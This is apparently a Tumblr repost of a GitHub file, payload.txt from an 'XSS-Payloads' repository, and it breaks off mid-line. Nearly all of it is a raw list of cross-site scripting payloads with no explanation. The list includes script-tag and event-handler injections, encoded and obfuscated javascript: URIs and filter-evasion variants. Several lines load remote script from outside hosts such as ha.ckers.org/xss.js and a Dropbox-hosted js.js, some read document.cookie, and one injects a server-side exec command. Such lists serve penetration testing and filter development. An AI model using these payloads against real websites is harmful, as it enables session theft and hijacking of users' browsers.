#121; .
Explore tagged Tumblr posts
Text
rrr
Skip to content
                                                                                     Why GitHub?                                                                                                                                
                             Enterprise              
                                                                   Explore                                                                                                                                
                             Marketplace              
                                                                   Pricing                                                                                                                                
                   Sign in
           Sign up
                 15      
                 256      
               247      
pgaijin66
/
XSS-Payloads
           Code      
               Issues        0        
           Pull requests      0      
           Projects      0
                   Security
           Insights
                                                                     Join GitHub today          
GitHub is home to over 36 million developers working together to host and review code, manage projects, and build software together.
       XSS-Payloads/payload.txt      
pgaijin66
Add files via upload
af350ef
         on Aug 23, 2016                                                                      525 lines (433 sloc)          27.3 KB                                                                            <script>alert(123);</script>                    <ScRipT>alert("XSS");</ScRipT>                    <script>alert(123)</script>                    <script>alert("hellox worldss");</script>                    <script>alert(“XSS”)</script>                    <script>alert(“XSS”);</script>                    <script>alert(‘XSS’)</script>                    “><script>alert(“XSS”)</script>                    <script>alert(/XSS”)</script>                    <script>alert(/XSS/)</script>                    </script><script>alert(1)</script>                    ‘; alert(1);                    ‘)alert(1);//                    <ScRiPt>alert(1)</sCriPt>                    <IMG SRC=jAVasCrIPt:alert(‘XSS’)>                    <IMG SRC=”javascript:alert(‘XSS’);”>                    <IMG SRC=javascript:alert("XSS")>                    <IMG SRC=javascript:alert(‘XSS’)>                          <img src=xss onerror=alert(1)>                                                            <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>                                        <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'                                        <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"                                        <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}                                        <img/src=`%00` onerror=this.onerror=confirm(1)                                        <form><isindex formaction="javascript&colon;confirm(1)"                                        <img src=`%00`&NewLine; onerror=alert(1)&NewLine;                                        <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>                                        <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?                                        <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">                                        <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/                                        "><h1/onmouseover='\u0061lert(1)'>%00                                        <iframe/src="data:text/html,<svg onload=alert(1)>">                                        <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>                                        <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script                                        <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}                                        <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">                    <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>                                        <form><a href="javascript:\u0061lert(1)">X                                        </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>                    <img/ &#11; src=`~` onerror=prompt(1)>                    <form><iframe &#11; src="javascript:alert(1)"&#11; ;>                                        <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" &#11;>X</a                                        http://www.google<script .com>alert(document.location)</script                                        <a href=[&#00;]"&#00; onmouseover=prompt(1)//">XYZ</a                                        <img/src=@ onerror = prompt('1')                                        <style/onload=prompt('XSS')                                        <script ^__^>alert(String.fromCharCode(49))</script ^__^                                        </style ><script :-(>/**/alert(document.location)/**/</script :-(                                        &#00;</form><input type="date" onfocus="alert(1)">                                        <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>                                        <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/                                        <iframe srcdoc='<body onload=prompt&lpar;1&rpar;>'>                                        <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>                                        <script ~~~>alert(0%0)</script ~~~>                                        <style/onload=<!-- >alert&lpar;1&rpar;>                                        <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN                                        <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)                                        "><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'                                        <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}                                        <marquee onstart='javascript:alert(1)'>^__^                                        <div/style="width:expression(confirm(1))">X</div> {IE7}                                        <iframe/%00/ src=javaSCRIPT&colon;alert(1)                                        //<form/action=javascript:alert&lpar;document&period;cookie&rpar;><input/type='submit'>//                                        /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>                                        //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\                                        </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>                                        <a/href="javascript: javascript:prompt(1)"><input type="X">                                        </plaintext\></|\><plaintext/onmouseover=prompt(1)                                        </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}                                        <a href="javascript&colon;\u0061l&#101%72t&lpar;1&rpar;"><button>                                        <div onmouseover='alert&lpar;1&rpar;'>DIV</div>                                        <iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">                                        <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>                                        <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">                                        <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">                                        <var onmouseover="prompt(1)">On Mouse Over</var>                                        <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>                                        <img src="/" =_=" title="onerror='prompt(1)'">                                        <%<!--'%><script>alert(1);</script -->                                        <script src="data:text/javascript,alert(1)"></script>                    <iframe/src \/\/onload = prompt(1)                                        <iframe/onreadystatechange=alert(1)                                        <svg/onload=alert(1)                                        <input value=<><iframe/src=javascript:confirm(1)                                        <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>                                        http://www.<script>alert(1)</script .com                                        <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>                                        <svg><script ?>alert(1)                                        <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>                                        <img src=`xx:xx`onerror=alert(1)>                                        <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>                    <math><a xlink:href="//jsfiddle.net/t846h/">click                                        <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>                    <svg contentScriptType=text/vbs><script>MsgBox+1                                        <a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a                                        <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>                                        <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+                                        <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F                    <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script                                        <object data=javascript&colon;\u0061l&#101%72t(1)>                                        <script>+-+-1-+-+alert(1)</script>                                        <body/onload=<!-->&#10alert(1)>                                        <script itworksinallbrowsers>/*<script* */alert(1)</script                                        <img src ?itworksonchrome?\/onerror = alert(1)                                        <svg><script>//&NewLine;confirm(1);</script </svg>                    <svg><script onlypossibleinopera:-)> alert(1)                                        <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe                                        <script x> alert(1) </script 1=2                                        <div/onmouseover='alert(1)'> style="x:">                                        <--`<img/src=` onerror=alert(1)> --!>                     <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,alert(1)></script>                                        <div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>                                        "><img src=x onerror=window.open('https://www.google.com/');>                                        <form><button formaction=javascript&colon;alert(1)>CLICKME                                        <math><a xlink:href="//jsfiddle.net/t846h/">click                                        <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>                                        <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>                                        <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>                                        <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>                    ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>                    <IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>                    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>                    <IMG SRC=”jav ascript:alert(‘XSS’);”>                    <IMG SRC=”jav ascript:alert(‘XSS’);”>                    <<SCRIPT>alert(“XSS”);//<</SCRIPT>                    %253cscript%253ealert(1)%253c/script%253e                    “><s”%2b”cript>alert(document.cookie)</script>                    foo<script>alert(1)</script>                    <scr<script>ipt>alert(1)</scr</script>ipt>                    <IMG SRC=javascript:alert('XSS')>                    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>                    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>                    <BODY BACKGROUND=”javascript:alert(‘XSS’)”>                    <BODY ONLOAD=alert(‘XSS’)>                    <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>                    <IMG SRC=”javascript:alert(‘XSS’)”                    <iframe src=http://ha.ckers.org/scriptlet.html <                    javascript:alert("hellox worldss")                    <img src="javascript:alert('XSS');">                    <img src=javascript:alert("XSS")>                    <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>                    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">                    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>                    <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>                    <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <<SCRIPT>alert("XSS");//<</SCRIPT>                    <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>                    ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search                    <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510                    <script>alert("XSS");</script>&search=1                    0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search                    <h1><font color=blue>hellox worldss</h1>                    <BODY ONLOAD=alert('hellox worldss')>                    <input onfocus=write(XSS) autofocus>                    <input onblur=write(XSS) autofocus><input autofocus>                    <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>                    <form><button formaction="javascript:alert(XSS)">lol                    <!--<img src="--><img src=x onerror=alert(XSS)//">                    <![><img src="]><img src=x onerror=alert(XSS)//">                    <style><img src="</style><img src=x onerror=alert(XSS)//">                    <? foo="><script>alert(1)</script>">                    <! foo="><script>alert(1)</script>">                    </ foo="><script>alert(1)</script>">                    <? foo="><x foo='?><script>alert(1)</script>'>">                    <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">                    <% foo><x foo="%><script>alert(123)</script>">                    <div style="font-family:'foo;color:red;';">LOL                    LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>                    <script>({0:#0=alert/#0#/#0#(0)})</script>                    <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>                    <SCRIPT>alert(/XSS/.source)</SCRIPT>                    \\";alert('XSS');//                    </TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>                    <INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">                    <BODY BACKGROUND=\"javascript:alert('XSS')\">                    <BODY ONLOAD=alert('XSS')>                    <IMG DYNSRC=\"javascript:alert('XSS')\">                    <IMG LOWSRC=\"javascript:alert('XSS')\">                    <BGSOUND SRC=\"javascript:alert('XSS');\">                    <BR SIZE=\"&{alert('XSS')}\">                    <LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>                    <LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">                    <LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">                    <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>                    <META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">                    <STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>                    <XSS STYLE=\"behavior: url(xss.htc);\">                    <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS                    <IMG SRC='vbscript:msgbox(\"XSS\")'>                    <IMG SRC=\"mocha:[code]\">                    <IMG SRC=\"livescript:[code]\">                    žscriptualert(EXSSE)ž/scriptu                    <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">                    <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">                    <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"                    <IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>                    <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>                    <TABLE BACKGROUND=\"javascript:alert('XSS')\">                    <TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">                    <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">                    <DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">                    <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">                    <DIV STYLE=\"width: expression(alert('XSS'));\">                    <STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>                    <IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">                    <XSS STYLE=\"xss:expression(alert('XSS'))\">                    exp/*<A STYLE='no\xss:noxss(\"*//*\");                    xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>                    <STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>                    <STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>                    <STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>                    <!--[if gte IE 4]>                    <SCRIPT>alert('XSS');</SCRIPT>                    <![endif]-->                    <BASE HREF=\"javascript:alert('XSS');//\">                    <OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>                    <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>                    <EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>                    <EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>                    a=\"get\";                    b=\"URL(\\"\";                    c=\"javascript:\";                    d=\"alert('XSS');\\")\";                    eval(a+b+c+d);                    <HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>                    <XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>                    </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>                    <XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>                    <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>                    <XML SRC=\"xsstest.xml\" ID=I></XML>                    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>                    <HTML><BODY>                    <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">                    <?import namespace=\"t\" implementation=\"#default#time2\">                    <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">                    </BODY></HTML>                    <SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>                    <!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->                    <? echo('<SCR)';                    echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>                    <IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">                    Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser                    <META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">                    <HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-                    <SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <A HREF=\"http://66.102.7.147/\">XSS</A>                    <A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>                    <A HREF=\"http://1113982867/\">XSS</A>                    <A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>                    <A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>                    <A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>                    <A HREF=\"//www.google.com/\">XSS</A>                    <A HREF=\"//google\">XSS</A>                    <A HREF=\"http://ha.ckers.org@google\">XSS</A>                    <A HREF=\"http://google:ha.ckers.org\">XSS</A>                    <A HREF=\"http://google.com/\">XSS</A>                    <A HREF=\"http://www.google.com./\">XSS</A>                    <A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>                    <A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>                    <                    %3C                    &lt                    <                    &LT                    &LT;                    &#60                    &#060                    &#0060                    &#00060                    &#000060                    &#0000060                    <                    &#x3c                    &#x03c                    &#x003c                    &#x0003c                    &#x00003c                    &#x000003c                    <                    <                    <                    <                    <                    <                    &#X3c                    &#X03c                    &#X003c                    &#X0003c                    &#X00003c                    &#X000003c                    <                    <                    <                    <                    <                    <                    &#x3C                    &#x03C                    &#x003C                    &#x0003C                    &#x00003C                    &#x000003C                    <                    <                    <                    <                    <                    <                    &#X3C                    &#X03C                    &#X003C                    &#X0003C                    &#X00003C                    &#X000003C                    <                    <                    <                    <                    <                    <                    \x3c                    \x3C                    \u003c                    \u003C                    <iframe src=http://ha.ckers.org/scriptlet.html>                    <IMG SRC=\"javascript:alert('XSS')\"                    <SCRIPT SRC=//ha.ckers.org/.js>                    <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>                    <<SCRIPT>alert(\"XSS\");//<</SCRIPT>                    <SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>                    <SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>                    <IMG SRC=\"   javascript:alert('XSS');\">                    perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out                    perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out                    <IMG SRC=\"javascript:alert('XSS');\">                    <IMG SRC=\"javascript:alert('XSS');\">                    <IMG SRC=\"jav ascript:alert('XSS');\">                    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>                    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>                    <IMG SRC=javascript:alert('XSS')>                    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>                    <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">                    <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>                    <IMG SRC=javascript:alert("XSS")>                    <IMG SRC=JaVaScRiPt:alert('XSS')>                    <IMG SRC=javascript:alert('XSS')>                    <IMG SRC=\"javascript:alert('XSS');\">                    <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>                    '';!--\"<XSS>=&{()}                    ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>                    ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>                    '';!--"<XSS>=&{()}                    <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>                    <IMG SRC="javascript:alert('XSS');">                    <IMG SRC=javascript:alert('XSS')>                    <IMG SRC=javascrscriptipt:alert('XSS')>                    <IMG SRC=JaVaScRiPt:alert('XSS')>                    <IMG """><SCRIPT>alert("XSS")</SCRIPT>">                    <IMG SRC=" &#14;  javascript:alert('XSS');">                    <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <<SCRIPT>alert("XSS");//<</SCRIPT>                    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>                    \";alert('XSS');//                    </TITLE><SCRIPT>alert("XSS");</SCRIPT>                    ¼script¾alert(¢XSS¢)¼/script¾                    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">                    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>                    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>                    <TABLE BACKGROUND="javascript:alert('XSS')">                    <TABLE><TD BACKGROUND="javascript:alert('XSS')">                    <DIV STYLE="background-image: url(javascript:alert('XSS'))">                    <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">                    <DIV STYLE="width: expression(alert('XSS'));">                    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>                    <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">                    <XSS STYLE="xss:expression(alert('XSS'))">                    exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>                    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>                    a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);                    <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>                    <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>                    <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>                    <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION                    <form><button 